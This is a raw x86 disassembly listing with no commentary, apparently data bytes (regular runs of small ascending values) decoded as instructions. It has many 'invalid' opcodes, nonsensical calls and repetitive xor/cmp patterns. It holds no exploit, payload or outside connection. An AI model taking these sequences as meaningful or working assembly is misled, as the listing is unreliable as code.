xor dword [eax - 0x6bce6fcf], ecx
xor dword [ecx + esi + 0x31c831c0], edi
int3
pushal
push 0x703e6c3e
push 0x703e6c3e
push 0x703e6c3e
je 0x458b44
js 0x458b46
jl 0x458b48
cmp byte [esi], 0x84
mov byte ds:[esi], bh
invalid
hlt
clc
cld
cld
add byte ds:[edi], bh
add al, 0x3f
or byte [edi], bh
or al, 0x3f
adc byte [edi], bh
adc al, 0x3f
sbb byte [edi], bh
sbb al, 0x3f
and byte [edi], bh
and al, 0x3f
sub byte [edi], bh
sub al, 0x3f
xor byte [edi], bh
xor al, 0x3f
cmp byte [edi], bh
cmp al, 0x3f
inc eax
aas
inc esp
aas
dec eax
aas
dec esp
aas
push eax
aas
push esp
aas
pop eax
aas
pop esp
aas
pushal
aas
aas
push 0x703f6c3f
aas
je 0x458bc5
js 0x458bc7
jl 0x458bc9
cmp byte [edi], 0x84
aas
mov byte [edi], bh
invalid
movsb byte es:[edi], byte [esi]
aas
test al, 0x3f
lodsb al, byte [esi]
aas
mov al, 0x3f
mov ah, 0x3f
mov eax, 0xc03fbc3f
aas
les edi, [edi]
enter 0xffffffffffffcc3f, 0x3f
sar byte [edi], 1
aam 0x3f
fdivr dword [edi]
fdivr qword [edi]
loopne 0x458bfb
in al, 0x3f
call 0xf0857802
aas
in al, dx
aas
invalid
aas
hlt
aas
in al, dx
aas
invalid
aas
clc
aas
cld
aas
add byte [eax], al
add byte [eax + 0x7840004], al
add byte [eax], al
add byte [eax], dh
add al, 0x30
or byte [eax], dh
or al, 0x30
adc byte [eax], dh
adc al, 0x30
sbb byte [eax], dh
sbb al, 0x30
and byte [eax], dh
xor byte [eax], dh
xor al, 0x30
cmp byte [eax], dh
cmp al, 0x30
inc eax
xor byte [eax + esi + 0x48], al
xor byte [eax + esi + 0x50], cl
xor byte [eax + esi + 0x58], dl
xor byte [eax + esi + 0x60], bl
xor byte [eax + esi + 0x74], ah
xor byte [eax + 0x30], bh
xor byte [eax], 0x84
xor byte [eax + esi + 0x30d030b0], ch
aam 0x30
fdiv dword [eax]
fdiv qword [eax]
loopne 0x458c48
in al, 0x30
call 0xf076784f
in al, dx
xor al, dh
in al, dx
xor al, dh
xor ah, dh
xor al, bh
xor ah, bh
xor byte [eax], al
xor dword [ecx + esi], eax
or byte [ecx], dh
or al, 0x31
adc byte [ecx], dh
adc al, 0x31
sbb byte [ecx], dh
sbb al, 0x31
and byte [ecx], dh
and al, 0x31
sub byte [ecx], dh
sub al, 0x31
xor byte [ecx], dh
xor al, 0x31
cmp byte [ecx], dh
cmp al, 0x31
xor dword [eax + 0x31], eax
inc esp
xor dword [eax + 0x31], ecx
dec esp
xor dword [eax + 0x31], edx
push esp
xor dword [eax + 0x31], ebx
pop esp
xor dword [eax + 0x31], esp
xor dword fs:[eax + 0x31], ebp
insb byte es:[edi], dx
xor dword [eax + 0x31], esi
je 0x458c93
js 0x458c95
jl 0x458c97
xor byte [ecx], 0x84
xor dword [eax - 0x6fce73cf], ecx
xor dword [eax + 0x31], eax
inc esp
xor dword [eax + 0x31], ecx
dec esp
xor dword [eax + 0x31], edx
push esp
xor dword [eax + 0x31], ebx
pop esp
xor dword [eax + 0x31], esp
xor dword fs:[eax + 0x31], ebp
insb byte es:[edi], dx
xor dword [eax + 0x31], esi
je 0x458c93
js 0x458c95
jl 0x458c97
xor byte [ecx], 0x84
xor dword [eax - 0x6fce73cf], ecx
xor dword [ecx + esi + 0x319c3198], edx
mov al, byte [0xa831a431]
xor dword [ecx + esi + 0x31b431b0], ebp
mov eax, 0xc031bc31
xor esp, eax
xor eax, ecx
xor esp, ecx
xor eax, edx
xor esp, edx
xor eax, ebx
xor esp, ebx
xor eax, esp
xor esp, esp
xor eax, ebp
xor esp, ebp
xor eax, esi
xor esp, esi
xor eax, edi
xor esp, edi
xor dword [edx + esi], eax
or byte [edx], dh
or al, 0x32
adc byte [edx], dh
adc al, 0x32
sbb byte [edx], dh
sbb al, 0x32
and byte [edx], dh
and al, 0x32
sub byte [edx], dh
sub al, 0x32
xor byte [edx], dh
xor al, 0x32
cmp byte [edx], dh
cmp al, 0x32
inc eax
xor al, byte [edx + esi + 0x48]
xor cl, byte [edx + esi + 0x50]
xor dl, byte [edx + esi + 0x58]
xor bl, byte [edx + esi + 0x60]
xor ah, byte [edx + esi + 0x68]
xor ch, byte [edx + esi + 0x70]
xor dh, byte [edx + esi + 0x78]
xor bh, byte [edx + esi - 0x80]
xor al, byte [edx + esi + 0x328c3288]
xchg esp, eax
xor bl, byte [eax - 0x5fcd63ce]
xor ah, byte [edx + esi + 0x32ac32a8]
movsb byte es:[edi], byte [esi]
xor ch, byte [eax - 0x4fcd53ce]
xor dh, byte [edx + esi + 0x32bc32b8]
sal byte [edx], 0xc4
movsb byte es:[edi], byte [esi]
xor ch, byte [eax - 0x4fcd53ce]
xor dh, byte [edx + esi + 0x32bc32b8]
sal byte [edx], 0xc4
xor cl, al
xor cl, ah
xor dl, al
xor dl, ah
xor bl, al
xor bl, ah
xor ah, al
xor ch, al
xor ch, ah
xor dh, ah
xor bh, al
xor bh, ah
xor al, byte [eax]
xor eax, dword [ebx + esi]
or byte [ebx], dh
or al, 0x33
adc byte [ebx], dh
adc al, 0x33
sbb byte [ebx], dh
sbb al, 0x33
and byte [ebx], dh
and al, 0x33
sub byte [ebx], dh
sub al, 0x33
xor byte [ebx], dh
xor al, 0x33
cmp byte [ebx], dh
cmp al, 0x33
inc eax
xor eax, dword [ebx + esi + 0x48]
inc esp
xor ecx, dword [eax + 0x33]
dec esp
xor edx, dword [eax + 0x33]
push esp
xor ebx, dword [eax + 0x33]
pop esp
xor esp, dword [eax + 0x33]
xor ebp, dword fs:[eax + 0x33]
insb byte es:[edi], dx
xor esi, dword [eax + 0x33]
je 0x458d8d
js 0x458d8f
jl 0x458d91
xor byte [ebx], 0x84
xor ecx, dword [eax - 0x6fcc73cd]
inc esp
xor ecx, dword [eax + 0x33]
dec esp
xor edx, dword [eax + 0x33]
push esp
xor ebx, dword [eax + 0x33]
pop esp
xor esp, dword [eax + 0x33]
xor ebp, dword fs:[eax + 0x33]
insb byte es:[edi], dx
xor esi, dword [eax + 0x33]
je 0x458d8d
js 0x458d8f
jl 0x458d91
xor byte [ebx], 0x84
xor ecx, dword [eax - 0x6fcc73cd]
xor edx, dword [ebx + esi + 0x339c3398]
mov al, byte [0xa833a433]
xor ebp, dword [ebx + esi + 0x33b433b0]
mov eax, 0xc033bc33
xor eax, esp
xor ecx, eax
xor ecx, esp
xor edx, eax
xor edx, esp
xor ebx, eax
xor ebp, eax
xor ebp, esp
xor esi, eax
xor esi, esp
xor edi, eax
xor edi, esp
xor eax, dword [eax]
xor al, 4
xor al, 8
xor al, 0xc
xor al, 0x10
xor al, 0x14
xor al, 0x18
xor al, 0x1c
xor al, 0x20
xor al, 0x24
xor al, 0x28
xor al, 0x2c
xor al, 0x30
xor al, 0x34
xor al, 0x38
xor al, 0x3c
xor al, 0x40
xor al, 0x44
xor al, 0x48
xor al, 0x4c
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 0x64
xor al, 0x6c
xor al, 0x70
xor al, 0x74
xor al, 0x78
xor al, 0x80
xor al, 0x84
xor al, 0x88
xor al, 0x8c
xor al, 0x90
xor al, 0x94
xor al, 0x98
xor al, 0x9c
xor al, 0xa0
xor al, 0xa4
xor al, 0xa8
xor al, 0xac
xor al, 0xb0
xor al, 0xb4
xor al, 0xb8
xor al, 0xbc
xor al, 0xc0
xor al, 0xc4
xor al, 0xc8
xor al, 0xcc
xor al, 0xd0
xor al, 0xd4
xor al, 0xd8
xor al, 0xdc
xor al, 0xe0
xor al, 0xe4
xor al, 0xe8
xor al, 0xec
xor al, 0xf0
xor al, 0xf4
xor al, 0xf8
xor al, 0xfc
xor al, 0
xor eax, 0x35083504
or al, 0x35
adc byte [0x35183514], dh
sbb al, 0x35
and byte [0x35283524], dh
sub al, 0x35
xor byte [0x35383534], dh
cmp al, 0x35
inc eax
xor eax, 0x35483544
dec esp
xor eax, 0x35583550
pop esp
xor eax, 0x35643560
push 0x70356c35
xor eax, 0x35783574
jl 0x458e83
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35a0359c
test al, 0x35
lodsb al, byte [esi]
xor eax, 0x35b435b0
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35fc35f0
add byte [esi], dh
add al, 0x36
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x458efa
js 0x458efc
jl 0x458efe
xor byte [esi], 0x84
mov byte ss:[esi], dh
invalid
cld
add byte ss:[edi], dh
add byte [edi], dh
add al, 0x37
or byte [edi], dh
or al, 0x37
adc byte [edi], dh
adc al, 0x37
sbb byte [edi], dh
sbb al, 0x37
and byte [edi], dh
and al, 0x37
sub byte [edi], dh
sub al, 0x37
xor byte [edi], dh
xor al, 0x37
cmp byte [edi], dh
cmp al, 0x37
inc eax
aaa
inc esp
aaa
dec eax
aaa
dec esp
aaa
push eax
aaa
push esp
aaa
pop eax
aaa
pop esp
aaa
pushal
aaa
aaa
push 0x70376c37
aaa
je 0x458f6f
js 0x458f71
jl 0x458f73
xor byte [edi], 0x84
aaa
mov byte [edi], dh
invalid
aaa
call 0xf07d7bac
aaa
clc
aaa
cld
aaa
add byte [eax], bh
add al, 0x38
or byte [eax], bh
or al, 0x38
adc byte [eax], bh
adc al, 0x38
sbb byte [eax], bh
sbb al, 0x38
and byte [eax], bh
and al, 0x38
sub byte [eax], bh
sub al, 0x38
xor byte [eax], bh
xor al, 0x38
cmp byte [eax], bh
cmp al, 0x38
inc eax
cmp byte [eax + edi + 0x48], al
cmp byte [eax + edi + 0x50], cl
cmp byte [eax + edi + 0x58], dl
cmp byte [eax + edi + 0x60], bl
cmp byte [eax + edi + 0x68], ah
cmp byte [eax + edi + 0x70], ch
cmp byte [eax + edi + 0x78], dh
cmp byte [eax + edi - 0x80], bh
cmp byte [eax + edi + 0x388c3888], al
nop
cmp byte [eax + edi + 0x389c3898], dl
mov al, byte [0xa838a438]
cmp byte [eax + edi + 0x38b438b0], ch
mov esp, 0xc438c038
cmp al, cl
cmp ah, cl
cmp al, dl
cmp ah, dl
cmp al, bl
cmp ah, bl
cmp al, ah
cmp ah, ah
cmp al, ch
cmp ah, ch
cmp al, dh
cmp ah, dh
cmp al, bh
cmp ah, bh
cmp byte [eax], al
cmp dword [ecx + edi], eax
or byte [ecx], bh
or al, 0x39
adc byte [ecx], bh
adc al, 0x39
sbb byte [ecx], bh
sbb al, 0x39
and byte [ecx], bh
and al, 0x39
sub byte [ecx], bh
sub al, 0x39
xor byte [ecx], bh
xor al, 0x39
cmp byte [ecx], bh
cmp al, 0x39
inc eax
cmp dword [ecx + edi + 0x48], eax
cmp dword [ecx + edi + 0x50], ecx
cmp dword [ecx + edi + 0x58], edx
cmp dword [ecx + edi + 0x60], ebx
cmp dword [ecx + edi + 0x68], esp
cmp dword [ecx + edi + 0x70], ebp
cmp dword [ecx + edi + 0x78], esi
cmp dword [ecx + edi - 0x80], edi
cmp dword [ecx + edi + 0x398c3988], eax
nop
cmp dword [ecx + edi + 0x399c3998], edx
mov al, byte [0xa839a439]
cmp dword [ecx + edi + 0x39b439b0], ebp
mov eax, 0xc039bc39
cmp esp, eax
cmp eax, ecx
cmp esp, ecx
cmp eax, edx
cmp esp, edx
cmp eax, ebx
cmp esp, ebx
cmp eax, esp
cmp esp, esp
cmp eax, ebp
cmp esp, ebp
cmp eax, esi
cmp esp, esi
cmp eax, edi
cmp esp, edi
cmp dword [eax], eax
cmp al, byte [edx + edi]
or byte [edx], bh
or al, 0x3a
adc byte [edx], bh
adc al, 0x3a
sbb byte [edx], bh
sbb al, 0x3a
and al, 0x3a
sub byte [edx], bh
sub al, 0x3a
xor byte [edx], bh
xor al, 0x3a
cmp byte [edx], bh
cmp al, 0x3a
inc eax
cmp al, byte [edx + edi + 0x48]
cmp cl, byte [edx + edi + 0x50]
cmp dl, byte [edx + edi + 0x58]
cmp bl, byte [edx + edi + 0x60]
cmp ah, byte [edx + edi + 0x68]
cmp ch, byte [edx + edi + 0x70]
cmp bh, byte [eax + 0x3a]
jl 0x4590ee
aaa
in al, dx
aaa
invalid
cmp byte [edx], 0x84
cmp cl, byte [eax - 0x6fc573c6]
cmp dl, byte [edx + edi + 0x3a9c3a98]
movsb byte es:[edi], byte [esi]
cmp ch, byte [eax - 0x4fc553c6]
cmp dh, byte [edx + edi + 0x3abc3ab8]
sar byte [edx], 0xc4
cmp cl, al
cmp cl, ah
cmp dl, al
cmp dl, ah
cmp bl, al
cmp bl, ah
cmp ah, al
cmp ah, ah
cmp ch, al
cmp ch, ah
cmp dh, al
cmp dh, ah
hlt
cmp bh, al
hlt
clc
cmp bh, ah
cmp al, byte [eax]
cmp eax, dword [ebx + edi]
or byte [ebx], bh
or al, 0x3b
adc byte [ebx], bh
adc al, 0x3b
sbb byte [ebx], bh
sbb al, 0x3b
and byte [ebx], bh
and al, 0x3b
sub al, 0x3b
cmp esi, dword [eax]
cmp esi, dword [ebx + edi]
cmp esi, dword [eax]
cmp esi, dword [ebx + edi]
cmp byte [ebx], bh
inc eax
cmp ecx, dword [eax + 0x3b]
dec esp
cmp edx, dword [eax + 0x3b]
push esp
cmp ebx, dword [eax + 0x3b]
pop esp
cmp esp, dword [eax + 0x3b]
cmp ebp, dword fs:[eax + 0x3b]
insb byte es:[edi], dx
cmp esi, dword [eax + 0x3b]
je 0x459163
js 0x459165
jl 0x459167
cmp byte [ebx], 0x84
cmp ecx, dword [ebx + edi + 0x3b943b90]
cwde
cmp ebx, dword [ebx + edi + 0x3ba43ba0]
test al, 0x3b
lodsb al, byte [esi]
cmp esi, dword [eax - 0x47c44bc5]
cmp edi, dword [ebx + edi + 0x3bc43bc0]
cmp eax, eax
cmp eax, esp
cmp ecx, eax
cmp ecx, esp
cmp edx, eax
cmp edx, esp
cmp ebx, eax
cmp esp, eax
invalid
cmp eax, eax
cmp eax, esp
cmp ecx, eax
cmp ecx, esp
cmp edx, eax
cmp edx, esp
cmp ebx, eax
cmp esp, eax
cmp esp, esp
cmp ebp, eax
cmp ebp, esp
cmp esi, eax
in al, 0x3b
call 0xf0817d9c
cmp edi, eax
cmp edi, esp
cmp eax, dword [eax]
cmp al, 4
cmp al, 8
cmp al, 0xc
cmp al, 0x10
cmp al, 0x14
cmp al, 0x18
cmp al, 0x1c
cmp al, 0x20
cmp al, 0x24
cmp al, 0x28
cmp al, 0x2c
cmp al, 0x30
cmp al, 0x34
cmp al, 0x38
cmp al, 0x3c
cmp al, 0x40
cmp al, 0x44
cmp al, 0x48
cmp al, 0x4c
cmp al, 0x50
cmp al, 0x54
cmp al, 0x58
cmp al, 0x5c
cmp al, 0x60
cmp al, 0x68
cmp al, 0x6c
cmp al, 0x70
cmp al, 0x74
cmp al, 0x80
cmp al, 0x84
cmp al, 0x88
cmp al, 0x8c
cmp al, 0x90
cmp al, 0x94
cmp al, 0x98
cmp al, 0x9c
cmp al, 0xa0
cmp al, 0xa4
cmp al, 0xa8
cmp al, 0xac
cmp al, 0xb0
cmp al, 0xb4
cmp al, 0xb8
cmp al, 0xbc
cmp al, 0xc0
cmp al, 0xc4
cmp al, 0xc8
cmp al, 0xcc
cmp al, 0xd0
cmp al, 0xd4
cmp al, 0xd8
cmp al, 0xdc
cmp al, 0xe0
cmp al, 0xe4
cmp al, 0xe8
cmp al, 0xec
cmp al, 0xf0
cmp al, 0xf4
cmp al, 0xf8
cmp al, 0xfc
cmp al, 0
cmp eax, 0x3d083d04
or al, 0x3d
adc byte [0x3d183d14], bh
sbb al, 0x3d
and byte [0x3d283d24], bh
sub al, 0x3d
cmp al, 0x3d
inc eax
cmp eax, 0x3d483d44
dec esp
cmp eax, 0x3d543d50
pop eax
cmp eax, 0x3d603d5c
cmp eax, 0x3d6c3d68
jo 0x459251
je 0x459253
js 0x459255
jl 0x459257
cmp byte [0x3d883d84], 0x8c
cmp eax, 0x3d943d90
cwde
cmp eax, 0x3da03d9c
movsb byte es:[edi], byte [esi]
cmp eax, 0x3dac3da8
mov al, 0x3d
mov ah, 0x3d
mov eax, 0xc03dbc3d
cmp eax, 0x3dc83dc4
int3
cmp eax, 0x3df43df0
clc
cmp eax, 0x3df83df4
cld
cmp eax, 0x3e043e00
cmp eax, 0x3dfc3df8
add byte [esi], bh
cmp eax, 0x3e003dfc
add al, 0x3e
or byte [esi], bh
or al, 0x3e
adc byte [esi], bh
adc al, 0x3e
sbb byte [esi], bh
sbb al, 0x3e
and byte [esi], bh
and al, 0x3e
sub byte [esi], bh
sub al, 0x3e
xor byte [esi], bh
xor al, 0x3e
cmp byte [esi], bh
cmp al, 0x3e
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x703e6c3e
je 0x4592d4
js case.0x42501a.348
jl 0x4592d8
cmp byte [esi], 0x84
mov byte ds:[esi], bh
invalid
notrack call 0xf0847f11
hlt
hlt
clc
cld
cld
add byte ds:[edi], bh
add al, 0x3f
or byte [edi], bh
or al, 0x3f
adc byte [edi], bh
adc al, 0x3f
sbb byte [edi], bh
sbb al, 0x3f
and byte [edi], bh
and al, 0x3f
sub byte [edi], bh
sub al, 0x3f
cmp al, 0x3f
inc eax
aas
inc esp
aas
dec eax
aas
dec esp
aas
push eax
aas
push esp
aas
pop eax
aas
pop esp
aas
pushal
aas
aas
push 0x703f6c3f
aas
je 0x45934f
js 0x459351
jl 0x459353
cmp byte [edi], 0x84
aas
nop
aas
cwde
aas
pushfd
aas
mov al, byte [0xa83fa43f]
aas
movsb byte es:[edi], byte [esi]
aas
test al, 0x3f
aas
movsb byte es:[edi], byte [esi]
aas
test al, 0x3f
lodsb al, byte [esi]
aas
mov al, 0x3f
mov ah, 0x3f
mov eax, 0xc03fbc3f
aas
les edi, [edi]
enter 0xffffffffffffcc3f, 0x3f
sar byte [edi], 1
aam 0x3f
fdivr dword [edi]
fdivr qword [edi]
loopne 0x45937f
in al, 0x3f
call 0xf0857f86
aas
hlt
add byte [eax], al
nop
add al, 0
mov byte [0x30080000], al
add eax, 0x30080000
add byte [eax + 0x8000005], cl
xor byte [eax], dl
xor byte [eax + esi], dl
add eax, 0x30080000
adc byte [eax], dh
adc al, 0x30
sbb byte [eax], dh
sbb al, 0x30
and byte [eax], dh
and al, 0x30
sub byte [eax], dh
sub al, 0x30
xor byte [eax], dh
xor al, 0x30
cmp byte [eax], dh
cmp al, 0x30
inc eax
xor byte [eax + esi + 0x48], al
dec eax
dec eax
xor byte [eax + esi + 0x50], cl
xor byte [eax + esi + 0x58], dl
xor byte [eax + esi + 0x60], bl
xor byte [eax + esi + 0x74], ah
xor byte [eax + 0x30], bh
jl 0x4593bc
xor byte [eax], 0x84
xor byte [eax - 0x6fcf73d0], cl
xor byte [eax + esi + 0x309c3098], dl
mov al, byte [0xa830a430]
xor byte [eax + esi + 0x30b430b0], ch
xor byte [eax - 0x3fcf43d0], bh
xor byte [eax - 0x3fcf43d0], bh
xor ah, al
xor al, cl
xor ah, cl
xor al, dl
xor ah, dl
xor al, bl
xor ah, bl
xor al, ah
xor ah, ah
xor al, ch
xor ah, ch
xor ah, bh
loopne 0x4593ee
in al, 0x30
call 0xfc767ff5
xor byte [eax], al
xor dword [ecx + esi], eax
adc al, 0x31
sbb byte [ecx], dh
sbb al, 0x31
and byte [ecx], dh
and al, 0x31
sub byte [ecx], dh
sub al, 0x31
xor byte [ecx], dh
xor al, 0x31
cmp byte [ecx], dh
cmp al, 0x31
inc eax
xor dword [ecx + esi + 0x48], eax
xor dword [ecx + esi + 0x50], ecx
xor dword [ecx + esi + 0x58], edx
xor dword [ecx + esi + 0x60], ebx
xor dword [ecx + esi + 0x68], esp
xor dword [ecx + esi + 0x70], ebp
xor dword [ecx + esi + 0x78], esi
xor dword [ecx + esi - 0x80], edi
jl 0x459431
xor byte [ecx], 0x84
xor dword [eax - 0x6fce73cf], ecx
pop esp
xor dword [eax + 0x31], esp
xor dword fs:[eax + 0x31], ebp
insb byte es:[edi], dx
xor dword [eax + 0x31], esi
je 0x45942d
js 0x45942f
jl 0x459431
xor byte [ecx], 0x84
xor dword [eax - 0x6fce73cf], ecx
xor dword [ecx + esi + 0x319c3198], edx
mov al, byte [0xa831a431]
xor dword [ecx + esi + 0x31b431b0], ebp
mov eax, 0xc031bc31
xor esp, eax
xor eax, ecx
xor esp, ecx
xor eax, edx
xor esp, edx
xor eax, ebx
invalid
fdiv dword [ecx]
fdiv qword [ecx]
loopne 0x459463
xor esp, ebx
xor eax, esp
xor esp, esp
xor eax, ebp
xor esp, ebp
xor eax, esi
in al, 0x31
call 0xf077806a
xor esp, esi
xor eax, edi
xor esp, edi
xor dword [eax], eax
xor al, byte [edx + esi]
or byte [edx], dh
or al, 0x32
adc byte [edx], dh
adc al, 0x32
sbb byte [edx], dh
sbb al, 0x32
and byte [edx], dh
and al, 0x32
sub byte [edx], dh
sub al, 0x32
xor byte [edx], dh
xor al, 0x32
cmp byte [edx], dh
cmp al, 0x32
inc eax
xor al, byte [edx + esi + 0x48]
xor cl, byte [edx + esi + 0x50]
xor dl, byte [edx + esi + 0x58]
xor bl, byte [edx + esi + 0x60]
xor ah, byte [edx + esi + 0x68]
xor ch, byte [edx + esi + 0x70]
xor dh, byte [edx + esi + 0x78]
xor bh, byte [edx + esi - 0x80]
xor al, byte [edx + esi + 0x328c3288]
nop
xor cl, byte [eax + 0x32]
dec esp
xor dl, byte [eax + 0x32]
push esp
xor bl, byte [eax + 0x32]
pop esp
xor ah, byte [eax + 0x32]
xor ch, byte fs:[eax + 0x32]
insb byte es:[edi], dx
xor dh, byte [eax + 0x32]
je 0x4594ae
js 0x4594b0
jl 0x4594b2
xor byte [edx], 0x84
xor cl, byte [eax - 0x6fcd73ce]
xor dl, byte [edx + esi + 0x329c3298]
mov al, byte [0xa832a432]
xor ch, byte [edx + esi + 0x32b432b0]
mov eax, 0xc032bc32
xor al, ah
xor cl, al
xor cl, ah
xor dl, al
xor dl, ah
xor bl, al
xor bl, ah
xor ah, al
xor ah, ah
xor ch, al
xor ch, ah
xor dh, al
fdiv qword [edx]
loopne 0x4594e4
in al, 0x32
call 0xf07880eb
xor dh, ah
xor bh, al
xor bh, ah
xor al, byte [eax]
xor eax, dword [ebx + esi]
or byte [ebx], dh
or al, 0x33
adc byte [ebx], dh
adc al, 0x33
sbb byte [ebx], dh
sbb al, 0x33
and byte [ebx], dh
and al, 0x33
sub byte [ebx], dh
sub al, 0x33
xor byte [ebx], dh
xor al, 0x33
cmp byte [ebx], dh
cmp al, 0x33
inc eax
xor eax, dword [ebx + esi + 0x48]
dec eax
xor ecx, dword [ebx + esi + 0x50]
xor edx, dword [ebx + esi + 0x58]
xor ebx, dword [ebx + esi + 0x60]
xor esp, dword [ebx + esi + 0x68]
xor ebp, dword [ebx + esi + 0x70]
xor esi, dword [ebx + esi + 0x78]
xor edi, dword [ebx + esi - 0x80]
xor eax, dword [ebx + esi + 0x338c3388]
nop
xor edx, dword [ebx + esi + 0x339c3398]
mov al, byte [0xa833a433]
xor ebp, dword [ebx + esi + 0x33b433b0]
mov eax, 0xc033bc33
mov esp, 0xc433c033
mov esp, 0xc433c033
xor ecx, eax
xor ecx, esp
xor edx, eax
xor edx, esp
xor ebx, eax
xor ebx, esp
xor esp, eax
xor esp, esp
xor ebp, eax
xor ebp, esp
xor esi, eax
xor esi, esp
xor edi, eax
xor edi, esp
xor eax, dword [eax]
xor al, 4
xor al, 8
xor al, 0xc
xor al, 0x10
xor al, 0x14
xor al, 0x18
xor al, 0x1c
xor al, 0x20
xor al, 0x24
xor al, 0x28
xor al, 0x2c
xor al, 0x30
xor al, 0x34
xor al, 0x38
xor al, 0x3c
xor al, 0x40
xor al, 0x44
xor al, 0x48
xor al, 0x4c
xor al, 0x50
xor al, 0x54
xor al, 0x58
xor al, 0x5c
xor al, 0x60
xor al, 0x64
xor al, 0x68
xor al, 0x6c
xor al, 0x70
xor al, 0x74
xor al, 0x78
xor al, 0x7c
xor al, 0x80
xor al, 0x84
xor al, 0x88
xor al, 0x8c
xor al, 0x90
xor al, 0x94
xor al, 0x98
xor al, 0x9c
xor al, 0xa0
xor al, 0xa4
xor al, 0xa8
xor al, 0xac
xor al, 0xb0
xor al, 0xb4
xor al, 0xb8
xor al, 0xbc
xor al, 0xc0
xor al, 0xc4
xor al, 0xc8
xor al, 0xcc
xor al, 0xd0
xor al, 0xd4
xor al, 0xd8
xor al, 0xdc
xor al, 0xe0
xor al, 0xe4
xor al, 0xe8
xor al, 0xec
xor al, 0xf0
xor al, 0xf4
xor al, 0xf8
xor al, 0xfc
xor al, 0
xor eax, 0x35083504
or al, 0x35
adc byte [0x35183514], dh
sbb al, 0x35
and byte [0x35283524], dh
sub al, 0x35
xor byte [0x35383534], dh
cmp al, 0x35
inc eax
xor eax, 0x35483544
dec esp
xor eax, 0x35543550
pop eax
xor eax, 0x3560355c
xor eax, 0x356c3568
jo 0x45962f
je 0x459631
js 0x459633
jl 0x459635
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35a0359c
movsb byte es:[edi], byte [esi]
xor eax, 0x35ac35a8
mov al, 0x35
mov ah, 0x35
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35e435e0
call 0xf07b826e
xor eax, 0x35f835f4
cld
xor eax, 0x36043600
xor eax, 0x35e835e4
in al, dx
xor eax, 0x35f435f0
clc
xor eax, 0x360035fc
add al, 0x36
xor eax, 0x35ec35e8
invalid
xor eax, 0x35f035ec
hlt
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x4596b2
js 0x4596b4
jl 0x4596b6
xor byte [esi], 0x84
mov byte ss:[esi], dh
invalid
in al, 0x36
call 0xf07c82ef
hlt
in al, dx
invalid
js 0x4598f1
cmp byte [edi], 0x84
aas
invalid
in al, 0x3f
call 0xfc859114
aas
add byte [eax], al
add byte [eax + 0x6c40004], ah
add byte [eax], al
add al, 0x30
or byte [eax], dh
sbb byte [eax], dh
sbb al, 0x30
sub al, 0x30
xor byte [eax], dh
cmp byte [eax], dh
cmp al, 0x30
inc esp
xor byte [eax + 0x30], cl
push eax
xor byte [eax + esi + 0x5c], dl
xor byte [eax + 0x30], ah
js 0x45992e
jl 0x459930
test byte [eax], dh
mov byte [eax], dh
cwde
xor byte [eax + esi + 0x30a830a4], bl
mov al, 0x30
mov ah, 0x30
adc al, 0x31
sbb byte [ecx], dh
sbb al, 0x31
and byte [ecx], dh
and al, 0x31
sub byte [ecx], dh
sub al, 0x31
xor byte [ecx], dh
xor al, 0x31
cmp byte [ecx], dh
cmp al, 0x31
inc eax
xor dword [ecx + esi + 0x48], eax
xor dword [ecx + esi + 0x50], ecx
push eax
xor dword [ecx + esi + 0x58], edx
xor dword [ecx + esi + 0x60], ebx
xor dword [ecx + esi + 0x68], esp
xor dword [ecx + esi + 0x70], ebp
xor dword [ecx + esi + 0x78], esi
xor dword [ecx + esi - 0x80], edi
xor dword [ecx + esi + 0x318c3188], eax
nop
push esp
xor dword [eax + 0x31], ebx
pop esp
xor dword [eax + 0x31], esp
xor dword fs:[eax + 0x31], ebp
insb byte es:[edi], dx
xor dword [eax + 0x31], esi
je 0x459973
js 0x459975
jl 0x459977
xor byte [ecx], 0x84
xor dword [eax - 0x6fce73cf], ecx
xor dword [ecx + esi + 0x319c3198], edx
mov al, byte [0xa831a431]
xor dword [ecx + esi + 0x31b431b0], ebp
mov eax, 0xc031bc31
xor esp, eax
xor eax, ecx
xor esp, ecx
xor eax, edx
xor esp, edx
xor eax, ebx
xor esp, ebx
xor eax, esp
xor esp, esp
xor eax, ebp
xor esp, ebp
xor eax, esi
xor esp, esi
xor eax, edi
xor esp, edi
xor dword [eax], eax
xor al, byte [edx + esi]
or byte [edx], dh
or al, 0x32
adc byte [edx], dh
adc al, 0x32
sbb byte [edx], dh
sbb al, 0x32
and byte [edx], dh
and al, 0x32
sub byte [edx], dh
sub al, 0x32
xor byte [edx], dh
xor al, 0x32
cmp byte [edx], dh
cmp al, 0x32
inc eax
xor al, byte [edx + esi + 0x48]
xor cl, byte [edx + esi + 0x50]
xor dl, byte [edx + esi + 0x58]
xor bl, byte [edx + esi + 0x60]
xor ah, byte [edx + esi + 0x68]
xor ch, byte [edx + esi + 0x70]
xor dh, byte [edx + esi + 0x78]
xor bh, byte [edx + esi - 0x80]
xor al, byte [edx + esi + 0x328c3288]
nop
xor dl, byte [edx + esi + 0x329c3298]
mov al, byte [0xa832a432]
xor ch, byte [edx + esi + 0x32b432b0]
mov eax, 0xc032bc32
xor al, ah
xor cl, al
xor cl, ah
xor dl, al
xor dl, ah
xor bl, al
xor bl, ah
xor ah, al
xor ah, ah
xor ch, al
xor ch, ah
xor dh, al
xor dh, ah
xor bh, al
xor bh, ah
xor al, byte [eax]
xor eax, dword [ebx + esi]
or byte [ebx], dh
or al, 0x33
adc byte [ebx], dh
adc al, 0x33
sbb byte [ebx], dh
sbb al, 0x33
and byte [ebx], dh
